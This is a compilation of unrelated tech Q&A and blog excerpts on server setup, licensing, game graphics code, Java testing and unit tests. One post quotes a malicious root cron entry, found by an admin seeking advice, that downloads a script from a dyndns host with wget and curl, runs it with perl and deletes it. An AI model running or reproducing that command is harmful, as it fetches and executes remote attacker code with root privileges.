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  • SFTP permission denied on files owned by www-data

    - by Charles Roper
    I have a pretty standard server set up running Apache and PHP. An app I am running creates files and these are owned by the Apache user www-data. Files that I upload via SFTP are owned by my own user charlesr. All files are part of the www-data group. My problem is that I cannot modify or overwrite any of the files via SFTP which are owned by www-data, even though charlesr is part of the www-data group. I can modify the files no problem via a SSH session. So I'm not sure what to do. How do I give my SFTP session permissions to modify www-data owned files? For a bit of background, these are the notes I wrote for myself when setting-up the server: Now set up permissions on `/var/www` where your files are served from by default: $ sudo adduser $USER www-data $ sudo chgrp -R www-data /var/www $ sudo chmod -R g+rw /var/www $ sudo chmod -R g+s /var/www Now log out and log in again to make the changes take hold. The previous set of commands does the following: 1. adds the current user ($USER) to the `www-data` group; 2. changes `/var/www` to belong to the `www-data` group; 3. adds read/write permissions to the group that `/var/www` belongs to; 4. sets the SGID bit on `/var/www`; this final point bears some explaining. And then I go on to explain to myself what setting the SGID bit means (i.e. all files created in /var/www become part of the www-data group automatically). Btw, nothing feels sweeter than going back and reading your own detailed notes on the what, how and why of your own server set up when trying to troubleshoot like this - I recommend it highly to all beginners like myself :-)

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  • How can I start nginx via upstart ?

    - by Chiggsy
    Background: DISTRIB_ID=Ubuntu DISTRIB_RELEASE=10.04 DISTRIB_CODENAME=lucid DISTRIB_DESCRIPTION="Ubuntu 10.04 LTS" I've built nginx, and I'd like to use upstart to start it: nginx upstart script from the site: description "nginx http daemon" start on runlevel 2 stop on runlevel 0 stop on runlevel 1 stop on runlevel 6 console owner exec /usr/sbin/nginx -c /etc/nginx/nginx.conf -g "daemon off;" respawn I get "unknown job" when i try to use initctl to run it, which I just learned apparently means there is an error, ( what's wrong with "Error" to describe errors?) Can someone point me in the right direction ? I've read the documentation , as it is, and it seems kind of sparse for a SysV init replacement... but whatever just need to add this job to the list, run it, and get on with what's left of my life... Any tips? EDIT: initctl version init (upstart 0.6.5)

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  • Commercial product using a GPL OS

    - by pfried
    we are planning to create a commercial product. The product consists of come MCUs and a small computer (we are developping on a raspberry pi at the moment). The computer needs an operating system as we would like keep things like WLAN and booting as simple as possible. We create some software running on this computer (node.js application). The most operating systems like Arch Linux are licenced under the GPL. The product we would sell contains the computer with preinstalled OS and software. This system operates as a central access point to MCU devices and is able to control them. We use other's software in our product. We do not modify their source code. The product (the computer part) consists of a computer, an OS and software we create. How does the use of an OS affect our own code (licence)? Is there a possibility of avoiding GPL for our own code? eg. shipping the software seperated? Are there any effects to other components of our product, eg. the MCU part? The node.js application delivers a WebApp to the client where it is executed. Are there any effects (As we would like to sell parts of the code as an additional App on the App Stores)? I know we make use of the work of the community and i respect this. The problem is: The software alone is kind of useless without the MCU devices. I do not expect a legal advice.

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  • Suspect cron job Centos 6.5 + Virtualmin, Recommended course of action?

    - by sr_1436048
    I was doing some routine maintenance on my server and noticed a new cron job. It is set to run every 5 minutes as root: cd /tmp;wget http://eventuallydown.dyndns.biz/abc.txt;curl -O http://eventuallydown.dyndns.biz/abc.txt;perl abc.txt;rm -f abc* I've tried to download the file, but there is nothing to download. The server is running normally and there are no strange signs that the box has been compromised other than this entry. The only thing I can think of is I recently installed Varnish Cache following this tutorial. Given that I did not enter the cron job and that there appears to be nothing wrong, besides disabling that cron job what would be the appropriate course of action from this point?

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  • Antenna Aligner part 2: Finding the right direction

    - by Chris George
    Last time I managed to get "my first app(tm)" built, published and running on my iPhone. This was really cool, a piece of my code running on my very own device. Ok, so I'm easily pleased! The next challenge was actually trying to determine what it was I wanted this app to do, and how to do it. Reverting back to good old paper and pen, I started sketching out designs for the app. I knew I wanted it to get a list of transmitters, then clicking on a transmitter would display a compass type view, with an arrow pointing the right way. I figured there would not be much point in continuing until I know I could do the graphical part of the project, i.e. the rotating compass, so armed with that reasoning (plus the fact I just wanted to get on and code!), I once again dived into visual studio. Using my friend (google) I found some example code for getting the compass data from the phone using the PhoneGap framework. // onSuccess: Get the current heading // function onSuccess(heading) {    alert('Heading: ' + heading); } navigator.compass.getCurrentHeading(onSuccess, onError); Using the ripple mobile emulator this showed that it was successfully getting the compass heading. But it didn't work when uploaded to my phone. It turns out that the examples I had been looking at were for PhoneGap 1.0, and Nomad uses PhoneGap 1.4.1. In 1.4.1, getCurrentHeading provides a compass object to onSuccess, not just a numeric value, so the code now looks like // onSuccess: Get the current magnetic heading // function onSuccess(heading) {    alert('Heading: ' + heading.magneticHeading); }; navigator.compass.getCurrentHeading(onSuccess, onError); So the lesson learnt from this... read the documentation for the version you are actually using! This does, however, lead to compatibility problems with ripple as it only supports 1.0 which is a real pain. I hope that the ripple system is updated sometime soon.

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  • Configuring a Unified Communications Certificate for many virtual hosts running in Jetty

    - by rrc7cz
    I have a single IP with Jetty serving up X sites on port 80. Basically you can sign up for our service, then point your domain www.mycompany.com to that IP, and Jetty will serve up your custom site. I would like to add SSL support for all sites. To simplify things, I've looked at getting a single Unified Communications Certificate to plug into Jetty and have it work for all sites. Is this possible? Has anyone done this before? Does Jetty only support traditional, single-domain certs? What issues might I run in to compared to a single-domain cert?

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  • New Analytic settings for the new code

    - by Steve Tunstall
    If you have upgraded to the new 2011.1.3.0 code, you may find some very useful settings for the Analytics. If you didn't already know, the analytic datasets have the potential to fill up your OS hard drives. The more datasets you use and create, that faster this can happen. Since they take a measurement every second, forever, some of these metrics can get in the multiple GB size in a matter of weeks. The traditional 'fix' was that you had to go into Analytics -> Datasets about once a month and clean up the largest datasets. You did this by deleting them. Ouch. Now you lost all of that historical data that you might have wanted to check out many months from now. Or, you had to export each metric individually to a CSV file first. Not very easy or fun. You could also suspend a dataset, and have it not collect data at all. Well, that fixed the problem, didn't it? of course you now had no data to go look at. Hmmmm.... All of this is no longer a concern. Check out the new Settings tab under Analytics... Now, I can tell the ZFSSA to keep every second of data for, say, 2 weeks, and then average those 60 seconds of each minute into a single 'minute' value. I can go even further and ask it to average those 60 minutes of data into a single 'hour' value.  This allows me to effectively shrink my older datasets by a factor of 1/3600 !!! Very cool. I can now allow my datasets to go forever, and really never have to worry about them filling up my OS drives. That's great going forward, but what about those huge datasets you already have? No problem. Another new feature in 2011.1.3.0 is the ability to shrink the older datasets in the same way. Check this out. I have here a dataset called "Disk: I/O opps per second" that is about 6.32M on disk (You need not worry so much about the "In Core" value, as that is in RAM, and it fluctuates all the time. Once you stop viewing a particular metric, you will see that shrink over time, just relax).  When one clicks on the trash can icon to the right of the dataset, it used to delete the whole thing, and you would have to re-create it from scratch to get the data collecting again. Now, however, it gives you this prompt: As you can see, this allows you to once again shrink the dataset by averaging the second data into minutes or hours. Here is my new dataset size after I do this. So it shrank from 6.32MB down to 2.87MB, but i can still see my metrics going back to the time I began the dataset. Now, you do understand that once you do this, as you look back in time to the minute or hour data metrics, that you are going to see much larger time values, right? You will need to decide what size of granularity you can live with, and for how long. Check this out. Here is my Disk: Percent utilized from 5-21-2012 2:42 pm to 4:22 pm: After I went through the delete process to change everything older than 1 week to "Minutes", the same date and time looks like this: Just understand what this will do and how you want to use it. Right now, I'm thinking of keeping the last 6 weeks of data as "seconds", and then the last 3 months as "Minutes", and then "Hours" forever after that. I'll check back in six months and see how the sizes look. Steve 

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  • How to set up a wireless AP with a linux box and SOCKS proxy

    - by user50455
    I've got: (1) Linux box (Arch linux to be precise, but that doesn't really matter) (2) Ethernet connection on it (say, eth0) (3) Socks proxy on a remote site (say, remote :port), which can be accessed through (2) (4) Wireless card on local linux box (say, eth1) So, the task is: create a wireless access point using (4) on local site (1) in such a way that all connections from it will go through proxy (3). E.g., when one simply connects to that AP (well, there should be DHCP or something for that) and goes to serverfault.com, all the traffic goes through that SOCKS proxy. I'm just asking for the digging direction and some references, not step-by-step tutorial. Thanks in advance

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  • Be There: Tinkerforge/NetBeans Platform Integration Course

    - by Geertjan
    Tinkerforge is an electronic construction kit. It exposes a number of API bindings, including, of course, Java. The nice thing also is that Tinkerforge products are open source, both on the hardware and software levels, so that you can take their bases as a starting point for your own modifications. "The TinkerForge system is a set of pre-built electronics boards that are built in such a way that you can stack the boards (known as bricks), attach accessories (known as bricklets), and have your prototype and and running quickly. Unlike systems, such as the Arduino or Launchpad, the TinkerForge has to be attached to a computer and the computer does all of the work. With an easy set of application programming interfaces (APIs) available in C/C++, C#, Java, PHP, and Ruby, the system is easy to interface and program over USB in a snap." (from this useful article) Henning Krüp, who has arranged several NetBeans Platform Certified Training Courses in the past, in the Nordhorn/Lingen area in Germany, had the inspired idea to focus the next course on integration with Tinkerforge. In other words, the whole course will be focused on creating a standalone Java desktop application that leverages the NetBeans Platform to interact with Tinkerforge! Interested in joining the course or setting up something similar yourself? The course organized by Henning will be held from 19 to 21 September, as explained here, together with contact details.  If you'd like to organize a similar course at a location of your choosing, leave a comment at the end of this blog entry and we'll set something up together!

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  • Can I remove the systems from a component entity system?

    - by nathan
    After reading a lot about entity/component based engines. I feel like there is no real definition for this kind of engine. Reading this thread: Implementing features in an Entity System and the linked article made me think a lot. I did not feel that comfortable using System concept so I'll write something else, inspired by this pattern. I'd like to know if you think it's a good way to organize game code and what improvements can be made. Regarding a more strict implementation of entity/component based engine, is my solution viable? Do I risk getting stuck at any point due to the lack of flexibility of this implementation (or anything else)? My engine, as for entity/component patterns has entities and components, no systems since the game logic is handled by components. Also, I think the main difference is the fact that my engine will use inherence and OOP concepts in general, I mean, I don't try to minimize them. Entity: an entity is an abstract class. It holds his position, width and height, scale and a list of linked components. The current implementation can be found here (java). Every frame, the entity will be updated (i.e all the components linked to this entity will be updated), and rendered, if a render component is specified. Component: like for entity, a component is an abstract class that must be extended to create new components. The behavior of an entity is created through his components collection. The component implementation can be found here. Components are updated when the owning entity is updated or for only one specific component (render component), rendered. Here is an example of a logic component (i.e not a renderable component, a component that's updated each frame) in charge of listening for keyboard events and a render component in charge of display a plain sprite (i.e not animated).

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  • Everybody's Heard About the Bird: OTN ArchBeat Top Tweets for June 2013

    - by Bob Rhubart
    Your clicks count! Here at the Top 10 most popular tweets for June 2013 from @OTN ARchBeat on Twitter. Oracle #SOA Suite 11g Developers Cookbook Published | Antony Reynolds Jun 28, 2013 at 12:25 PM Notes on Oracle #BPM PS6 Adaptive Case Management | Graeme Colman Jun 24, 2013 at 11:55 AM Calling #ADF BC Web Service from #BPM Process | @AndrejusB Jun 24, 2013 at 12:12 PM ZDNet's @JoeMcKendrick interviews #SOA guru and author Thomas Erl (@soaschool). Jun 25, 2013 at 08:33 AM Two Weeks and counting: OTN Architect Day: Cloud Computing - July 9 - Redwood Shores, CA. Registration is free. Jun 25, 2013 at 06:00 PM Changing #WebLogic Server Deployment Order using #MBeans | @ArtofBI Jun 24, 2013 at 12:07 PM Getting Started with #WebCenter Portal — Content Contribution Project — Part 2 | Husain Dalal #fusionmiddleware Jun 24, 2013 at 09:58 AM Your next boss may not be the CIO, or any other IT manager for that matter | ZDNet Jun 25, 2013 at 02:00 PM Single Sign-On with Security Assertion Markup Language between Oracle and SAP | Ronaldo Fernandes Jun 26, 2013 at 04:08 PM RT @oracletechnet: It's Not TV, It's OTN: Top 10 Videos on the OTN YouTube Channel Jun 27, 2013 at 09:06 AM Thought for the Day "At some point you have to decide whether you're going to be a politician or an engineer. You cannot be both. To be a politician is to champion perception over reality. To be an engineer is to make perception subservient to reality. They are opposites. You can't do both simultaneously. " — H. W. Kenton Source: softwarequotes.com

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  • Known Hosts ECDSA Host Key Multiple Domains on One IP

    - by Jonah
    Hello, world!, I have a VPS set up with multiple domain names pointing to it. Arbitrarily, I like to access it via SSH through the domain name I'm dealing with. So for example, if I'm doing something with example1.com, I'll log in with ssh [email protected], and if I'm working with example2.com, I'll log in with ssh [email protected]. They both point to the same user on the same machine. However, because SSH keeps track of the server's fingerprint, it tells me that there is an offending host key, and makes me confirm access. $ ssh [email protected] Warning: the ECDSA host key for 'example2.com' differs from the key for the IP address '123.123.123.123' Offending key for IP in /home/me/.ssh/known_hosts:33 Matching host key in /home/me/.ssh/known_hosts:38 Are you sure you want to continue connecting (yes/no)? Is there a way to ignore this warning? Thanks!

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  • XNA shield effect with a Primative sphere problem

    - by Sparky41
    I'm having issue with a shield effect i'm trying to develop. I want to do a shield effect that surrounds part of a model like this: http://i.imgur.com/jPvrf.png I currently got this: http://i.imgur.com/Jdin7.png (The red likes are a simple texture a black background with a red cross in it, for testing purposes: http://i.imgur.com/ODtzk.png where the smaller cross in the middle shows the contact point) This sphere is drawn via a primitive (DrawIndexedPrimitives) This is how i calculate the pieces of the sphere using a class i've called Sphere (this class is based off the code here: http://xbox.create.msdn.com/en-US/education/catalog/sample/primitives_3d) public class Sphere { // During the process of constructing a primitive model, vertex // and index data is stored on the CPU in these managed lists. List vertices = new List(); List indices = new List(); // Once all the geometry has been specified, the InitializePrimitive // method copies the vertex and index data into these buffers, which // store it on the GPU ready for efficient rendering. VertexBuffer vertexBuffer; IndexBuffer indexBuffer; BasicEffect basicEffect; public Vector3 position = Vector3.Zero; public Matrix RotationMatrix = Matrix.Identity; public Texture2D texture; /// <summary> /// Constructs a new sphere primitive, /// with the specified size and tessellation level. /// </summary> public Sphere(float diameter, int tessellation, Texture2D text, float up, float down, float portstar, float frontback) { texture = text; if (tessellation < 3) throw new ArgumentOutOfRangeException("tessellation"); int verticalSegments = tessellation; int horizontalSegments = tessellation * 2; float radius = diameter / 2; // Start with a single vertex at the bottom of the sphere. AddVertex(Vector3.Down * ((radius / up) + 1), Vector3.Down, Vector2.Zero);//bottom position5 // Create rings of vertices at progressively higher latitudes. for (int i = 0; i < verticalSegments - 1; i++) { float latitude = ((i + 1) * MathHelper.Pi / verticalSegments) - MathHelper.PiOver2; float dy = (float)Math.Sin(latitude / up);//(up)5 float dxz = (float)Math.Cos(latitude); // Create a single ring of vertices at this latitude. for (int j = 0; j < horizontalSegments; j++) { float longitude = j * MathHelper.TwoPi / horizontalSegments; float dx = (float)(Math.Cos(longitude) * dxz) / portstar;//port and starboard (right)2 float dz = (float)(Math.Sin(longitude) * dxz) * frontback;//front and back1.4 Vector3 normal = new Vector3(dx, dy, dz); AddVertex(normal * radius, normal, new Vector2(j, i)); } } // Finish with a single vertex at the top of the sphere. AddVertex(Vector3.Up * ((radius / down) + 1), Vector3.Up, Vector2.One);//top position5 // Create a fan connecting the bottom vertex to the bottom latitude ring. for (int i = 0; i < horizontalSegments; i++) { AddIndex(0); AddIndex(1 + (i + 1) % horizontalSegments); AddIndex(1 + i); } // Fill the sphere body with triangles joining each pair of latitude rings. for (int i = 0; i < verticalSegments - 2; i++) { for (int j = 0; j < horizontalSegments; j++) { int nextI = i + 1; int nextJ = (j + 1) % horizontalSegments; AddIndex(1 + i * horizontalSegments + j); AddIndex(1 + i * horizontalSegments + nextJ); AddIndex(1 + nextI * horizontalSegments + j); AddIndex(1 + i * horizontalSegments + nextJ); AddIndex(1 + nextI * horizontalSegments + nextJ); AddIndex(1 + nextI * horizontalSegments + j); } } // Create a fan connecting the top vertex to the top latitude ring. for (int i = 0; i < horizontalSegments; i++) { AddIndex(CurrentVertex - 1); AddIndex(CurrentVertex - 2 - (i + 1) % horizontalSegments); AddIndex(CurrentVertex - 2 - i); } //InitializePrimitive(graphicsDevice); } /// <summary> /// Adds a new vertex to the primitive model. This should only be called /// during the initialization process, before InitializePrimitive. /// </summary> protected void AddVertex(Vector3 position, Vector3 normal, Vector2 texturecoordinate) { vertices.Add(new VertexPositionNormal(position, normal, texturecoordinate)); } /// <summary> /// Adds a new index to the primitive model. This should only be called /// during the initialization process, before InitializePrimitive. /// </summary> protected void AddIndex(int index) { if (index > ushort.MaxValue) throw new ArgumentOutOfRangeException("index"); indices.Add((ushort)index); } /// <summary> /// Queries the index of the current vertex. This starts at /// zero, and increments every time AddVertex is called. /// </summary> protected int CurrentVertex { get { return vertices.Count; } } public void InitializePrimitive(GraphicsDevice graphicsDevice) { // Create a vertex declaration, describing the format of our vertex data. // Create a vertex buffer, and copy our vertex data into it. vertexBuffer = new VertexBuffer(graphicsDevice, typeof(VertexPositionNormal), vertices.Count, BufferUsage.None); vertexBuffer.SetData(vertices.ToArray()); // Create an index buffer, and copy our index data into it. indexBuffer = new IndexBuffer(graphicsDevice, typeof(ushort), indices.Count, BufferUsage.None); indexBuffer.SetData(indices.ToArray()); // Create a BasicEffect, which will be used to render the primitive. basicEffect = new BasicEffect(graphicsDevice); //basicEffect.EnableDefaultLighting(); } /// <summary> /// Draws the primitive model, using the specified effect. Unlike the other /// Draw overload where you just specify the world/view/projection matrices /// and color, this method does not set any renderstates, so you must make /// sure all states are set to sensible values before you call it. /// </summary> public void Draw(Effect effect) { GraphicsDevice graphicsDevice = effect.GraphicsDevice; // Set our vertex declaration, vertex buffer, and index buffer. graphicsDevice.SetVertexBuffer(vertexBuffer); graphicsDevice.Indices = indexBuffer; graphicsDevice.BlendState = BlendState.Additive; foreach (EffectPass effectPass in effect.CurrentTechnique.Passes) { effectPass.Apply(); int primitiveCount = indices.Count / 3; graphicsDevice.DrawIndexedPrimitives(PrimitiveType.TriangleList, 0, 0, vertices.Count, 0, primitiveCount); } graphicsDevice.BlendState = BlendState.Opaque; } /// <summary> /// Draws the primitive model, using a BasicEffect shader with default /// lighting. Unlike the other Draw overload where you specify a custom /// effect, this method sets important renderstates to sensible values /// for 3D model rendering, so you do not need to set these states before /// you call it. /// </summary> public void Draw(Camera camera, Color color) { // Set BasicEffect parameters. basicEffect.World = GetWorld(); basicEffect.View = camera.view; basicEffect.Projection = camera.projection; basicEffect.DiffuseColor = color.ToVector3(); basicEffect.TextureEnabled = true; basicEffect.Texture = texture; GraphicsDevice device = basicEffect.GraphicsDevice; device.DepthStencilState = DepthStencilState.Default; if (color.A < 255) { // Set renderstates for alpha blended rendering. device.BlendState = BlendState.AlphaBlend; } else { // Set renderstates for opaque rendering. device.BlendState = BlendState.Opaque; } // Draw the model, using BasicEffect. Draw(basicEffect); } public virtual Matrix GetWorld() { return /*world */ Matrix.CreateScale(1f) * RotationMatrix * Matrix.CreateTranslation(position); } } public struct VertexPositionNormal : IVertexType { public Vector3 Position; public Vector3 Normal; public Vector2 TextureCoordinate; /// <summary> /// Constructor. /// </summary> public VertexPositionNormal(Vector3 position, Vector3 normal, Vector2 textCoor) { Position = position; Normal = normal; TextureCoordinate = textCoor; } /// <summary> /// A VertexDeclaration object, which contains information about the vertex /// elements contained within this struct. /// </summary> public static readonly VertexDeclaration VertexDeclaration = new VertexDeclaration ( new VertexElement(0, VertexElementFormat.Vector3, VertexElementUsage.Position, 0), new VertexElement(12, VertexElementFormat.Vector3, VertexElementUsage.Normal, 0), new VertexElement(24, VertexElementFormat.Vector2, VertexElementUsage.TextureCoordinate, 0) ); VertexDeclaration IVertexType.VertexDeclaration { get { return VertexPositionNormal.VertexDeclaration; } } } A simple call to the class to initialise it. The Draw method is called in the master draw method in the Gamecomponent. My current thoughts on this are: The direction of the weapon hitting the ship is used to get the middle position for the texture Wrap a texture around the drawn sphere based on this point of contact Problem is i'm not sure how to do this. Can anyone help or if you have a better idea please tell me i'm open for opinion? :-) Thanks.

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  • Migrate an intermediate CA to a new root

    - by Tim Brigham
    Using the Microsoft CA is there any way to cut over to a new certificate authority from an intermediate authority? Both my systems are Microsoft CAs - I have a 2008 R2 Enterprise CA (intermediate) and an old 2003 CA (root). The 2003 box bit the dust and I don't have good backups. I still have a few months before the CRL expires; instead of having to cut over to a new intermediate authority is there a ready way to simply point this intermediate authority to a new offline CA?

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  • How do you name/brand software?

    - by JasCav
    I am working on an application that is brand new. We have been using an internal name up to this point, but it's not very imaginative and is definitely not good from a branding standpoint. I have been tasked to come up with a name for the software. I am really struggling with this as every name I have thought about really doesn't seem to do the software justice. I have tried acronyms, mythology names, scientific names, etc. I may be being a bit picky, but I feel like the name should just hit me when its right. Here are my requirements: The name has to be easy to say (and hopefully catchy). The name has to relate back to what the software does. The name has to be able to be branded. (For example, vivid imagery, tagline, etc.) So, although I can't give the specifics of the software, I was hoping the brains here could provide some insight as to how I should go about naming/branding a piece of software?

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  • jtreg update, December 2012

    - by jjg
    There is a new version of jtreg available. The primary new feature is support for tests that have been written for use with TestNG, the popular open source testing framework. TestNG is supported by a variety of tools and plugins, which means that it is now possible to develop tests for OpenJDK using those tools, while still retaining the ability to have the tests be part of the OpenJDK test suite, and run with a single test harness, jtreg. jtreg can be downloaded from the OpenJDK jtreg page: http://openjdk.java.net/jtreg. TestNG support jtreg supports both single TestNG tests, which can be freely intermixed with other types of jtreg tests, and groups of TestNG tests. A single TestNG test class can be compiled and run by providing a test description using the new action tag: @run testng classname The test will be executed by using org.testng.TestNG. No main method is required. A group of TestNG tests organized in a standard package hierarchy can also be compiled and run by jtreg. Any such group must be identified by specifying the root directory of the package hierarchy. You can either do this in the top level TEST.ROOT file, or in a TEST.properties file in any subdirectory enclosing the group of tests. In either case, add a line to the file of the form: TestNG.dirs = dir ... Directories beginning with '/' are evaluated relative to the root directory of the test suite; otherwise they are evaluated relative to the directory containing the declaring file. In particular, note that you can simply use "TestNG.dirs = ." in a TEST.properties file in the root directory of the test group's package hierarchy. No additional test descriptions are necessary, but test descriptions containing information tags, such as @bug, @summary, etc are permitted. All the Java source files in the group will be compiled if necessary, before any of the tests in the group are run. The selected tests within the group will be run, one at a time, using org.testng.TestNG. Library classes The specification for the @library tag has been extended so that any paths beginning with '/' will be evaluated relative to the root directory of the test suite. In addition, some bugs have been fixed that prevented sharing the compiled versions of library classes between tests in different directories. Note: This has uncovered some issues in tests that use a combination of @build and @library tags, such that some tests may fail unexpectedly with ClassNotFoundException. The workaround for now is to ensure that library classes are listed before the test classes in any @build tags. To specify one or more library directories for a group of TestNG tests, add a line of the following form to the TEST.properties file in the root directory of the group's package hierarchy: lib.dirs = dir ... As before, directories beginning with '/' are evaluated relative to the root directory of the test suite; otherwise they are evaluated relative to the directory containing the declaring file. The libraries will be available to all classes in the group; you cannot specify different libraries for different tests within the group. Coming soon ... From this point on, jtreg development will be using the new jtreg repository in the OpenJDK code-tools project. There is a new email alias jtreg-dev at openjdk.java.net for discussions about jtreg development. The existing alias jtreg-use at openjdk.java.net will continue to be available for questions about using jtreg. For more information ... An updated version of the jtreg Tag Language Specification is being prepared, and will be made available when it is ready. In the meantime, you can find more information about the support for TestNG by executing the following command: $ jtreg -onlinehelp TestNG For more information on TestNG itself, visit testng.org.

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  • reduce memory footprint of java virtual machine

    - by Lorenzo Boccaccia
    I've a citrix server where multiple users use a multiple java application. Is there a way to reduce the memory footprint of the jvm itself? The max heap is already set fairly low (64MB), as the permgen (32MB) space and we're to the point that the jvm itself uses way more memory than the application itself (the committed area is around 350MB) I'm looking for a way to reduce the jvm ram usage or to make the all the applications run within the same jvm or any other way of sharing common pages between running jvm (if possible) or try switch to switch to a jvm if a jvm exists having optimizations relative to this scenario currently using windows 2003 server and sun java virtual machine 1.6

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  • Would it be a good idea to work on letting people add arrays of numbers in javascript?

    - by OneThreeSeven
    I am a very mathematically oriented programmer, and I happen to be doing a lot of java script these days. I am really disappointed in the math aspects of javascript: the Math object is almost a joke because it has so few methods you can't use ^ for exponentiation the + operator is very limited, you cant add array's of numbers or do scalar multiplication on arrays Now I have written some pretty basic extensions to the Math object and have considered writing a library of advanced Math features, amazingly there doesn't seem to be any sort of standard library already out even for calculus, although there is one for vectors and matricies I was able find. The notation for working with vectors and matricies is really bad when you can't use the + operator on arrays, and you cant do scalar multiplication. For example, here is a hideous expression for subtracting two vectors, A - B: Math.vectorAddition(A,Math.scalarMultiplication(-1,B)); I have been looking for some kind of open-source project to contribute to for awhile, and even though my C++ is a bit rusty I would very much like to get into the code for V8 engine and extend the + operator to work on arrays, to get scalar multiplication to work, and possibly to get the ^ operator to work for exponentiation. These things would greatly enhance the utility of any mathematical javascript framework. I really don't know how to get involved in something like the V8 engine other than download the code and start working on it. Of course I'm afraid that since V8 is chrome specific, that without browser cross-compatibility a fundamental change of this type is likely to be rejected for V8. I was hoping someone could either tell me why this is a bad idea, or else give me some pointers about how to proceed at this point to get some kind of approval to add these features. Thanks!

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  • ASP.NET: Serializing and deserializing JSON objects

    - by DigiMortal
    ASP.NET offers very easy way to serialize objects to JSON format. Also it is easy to deserialize JSON objects using same library. In this posting I will show you how to serialize and deserialize JSON objects in ASP.NET. All required classes are located in System.Servicemodel.Web assembly. There is namespace called System.Runtime.Serialization.Json for JSON serializer. To serialize object to stream we can use the following code. var serializer = new DataContractJsonSerializer(typeof(MyClass)); serializer.WriteObject(myStream, myObject); To deserialize object from stream we can use the following code. CopyStream() is practically same as my Stream.CopyTo() extension method. var serializer = new DataContractJsonSerializer(typeof(MyClass));   using(var stream = response.GetResponseStream()) using (var ms = new MemoryStream()) {     CopyStream(stream, ms);     results = serializer.ReadObject(ms) as MyClass; } Why I copied data from response stream to memory stream? Point is simple – serializer uses some stream features that are not supported by response stream. Using memory stream we can deserialize object that came from web.

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  • PASS Business Intelligence Virtual Chapter Upcoming Sessions (November 2013)

    - by Sergio Govoni
    Let me point out the upcoming live events, dedicated to Business Intelligence with SQL Server, that PASS Business Intelligence Virtual Chapter has scheduled for November 2013. The "Accidental Business Intelligence Project Manager"Date: Thursday 7th November - 8:00 PM GMT / 3:00 PM EST / Noon PSTSpeaker: Jen StirrupURL: https://attendee.gotowebinar.com/register/5018337449405969666 You've watched the Apprentice with Donald Trump and Lord Alan Sugar. You know that the Project Manager is usually the one gets firedYou've heard that Business Intelligence projects are prone to failureYou know that a quick Bing search for "why do Business Intelligence projects fail?" produces a search result of 25 million hits!Despite all this… you're now Business Intelligence Project Manager – now what do you do?In this session, Jen will provide a "sparks from the anvil" series of steps and working practices in Business Intelligence Project Management. What about waterfall vs agile? What is a Gantt chart anyway? Is Microsoft Project your friend or a problematic aspect of being a BI PM? Jen will give you some ideas and insights that will help you set your BI project right: assess priorities, avoid conflict, empower the BI team and generally deliver the Business Intelligence project successfully! Dimensional Modelling Design Patterns: Beyond BasicsDate: Tuesday 12th November - Noon AEDT / 1:00 AM GMT / Monday 11th November 5:00 PM PSTSpeaker: Jason Horner, Josh Fennessy and friendsURL: https://attendee.gotowebinar.com/register/852881628115426561 This session will provide a deeper dive into the art of dimensional modeling. We will look at the different types of fact tables and dimension tables, how and when to use them. We will also some approaches to creating rich hierarchies that make reporting a snap. This session promises to be very interactive and engaging, bring your toughest Dimensional Modeling quandaries. Data Vault Data Warehouse ArchitectureDate: Tuesday 19th November - 4:00 PM PST / 7 PM EST / Wednesday 20th November 11:00 PM AEDTSpeaker: Jeff Renz and Leslie WeedURL: https://attendee.gotowebinar.com/register/1571569707028142849 Data vault is a compelling architecture for an enterprise data warehouse using SQL Server 2012. A well designed data vault data warehouse facilitates fast, efficient and maintainable data integration across business systems. In this session Leslie and I will review the basics about enterprise data warehouse design, introduce you to the data vault architecture and discuss how you can leverage new features of SQL Server 2012 help make your data warehouse solution provide maximum value to your users. 

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  • Software design of a browser-based strategic MMO game

    - by Mehran
    I wonder if there are any known tested software designs for Travian-like browser-based strategic MMO games? I mean how would they implement the server of such games or what is stored in database and what is stored in RAM? Is the state of the world stored in one piece or is it distributed among a number of storage? Does anyone know a resource to study the problems and solutions of creating such games? [UPDATE] Suggested in comments, I'm going to give an example how would I design such a project. Even though I'm not sure if I'm proposing the right one. Having stored the world state in a MongoDB, I would implement an event collection in which all the changes to the world will register. Changes that are meant to happen in the future will come with an action date set to the future and those that are to be carried out immediately will be set to now. Having this datastore as the central point of the system, players will issue their actions as events inserted in datastore. At the other end of the system, I'll have a constant-running software taking out events out of the datastore which are due to be carried out and not done yet. Executing an event means apply some update on the world's state and thus the datastore. As scalable as this design sounds, I'm not sure if it will be worth implementing. For one, it is pointless to cache the datastore as most of updates happen once without any follow ups. For instance if you have the growth of resources in your game, you'll be updating the whole world state periodically in which case, having incorporated a cache, you are keeping the whole world in RAM (which most likely is impossible). So can someone come up with a better design?

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  • Code Behaviour via Unit Tests

    - by Dewald Galjaard
    Normal 0 false false false EN-ZA X-NONE X-NONE /* Style Definitions */ table.MsoNormalTable {mso-style-name:"Table Normal"; mso-tstyle-rowband-size:0; mso-tstyle-colband-size:0; mso-style-noshow:yes; mso-style-priority:99; mso-style-qformat:yes; mso-style-parent:""; mso-padding-alt:0cm 5.4pt 0cm 5.4pt; mso-para-margin-top:0cm; mso-para-margin-right:0cm; mso-para-margin-bottom:10.0pt; mso-para-margin-left:0cm; line-height:115%; mso-pagination:widow-orphan; font-size:11.0pt; font-family:"Calibri","sans-serif"; mso-ascii-font-family:Calibri; mso-ascii-theme-font:minor-latin; mso-fareast-font-family:"Times New Roman"; mso-fareast-theme-font:minor-fareast; mso-hansi-font-family:Calibri; mso-hansi-theme-font:minor-latin; mso-bidi-font-family:"Times New Roman"; mso-bidi-theme-font:minor-bidi;} Some four months ago my car started acting up. Symptoms included a sputtering as my car’s computer switched between gears intermittently. Imagine building up speed, then when you reach 80km/h the car magically and mysteriously decide to switch back to third or even second gear. Clearly it was confused! I managed to track down a technician, an expert in his field to help me out. As he fitted his handheld computer to some hidden port under the dash, he started to explain “These cars are quite intelligent, you know. When they sense something is wrong they run in a restrictive program which probably account for how you managed to drive here in the first place...”  I was surprised and thought this was certainly going to be an interesting test drive. The car ran smoothly down the first couple of stretches as the technician ran through routine checks. Then he said “Ok, all looking good. We need to start testing aspects of the gearbox. Inside the gearbox there are a couple of sensors. One of them is a speed sensor which talks to the computer, which in turn will decide which gear to switch to. The restrictive program avoid these sensors altogether and allow the computer to obtain its input from other [non-affected] sources”. Then, as soon as he forced the speed sensor to come back online the symptoms and ill behaviour re-emerged... What an incredible analogy for getting into a discussion on unit testing software? Besides I should probably put my ill fortune to some good use, right? This example provide a lot of insight into how and why we should conduct unit tests when writing code. More importantly, it captures what is easily and unfortunately often the most overlooked goal of writing unit tests by those new to the art and those who oppose it alike - The goal of writing unit tests is to test the behaviour of our code under predefined conditions. 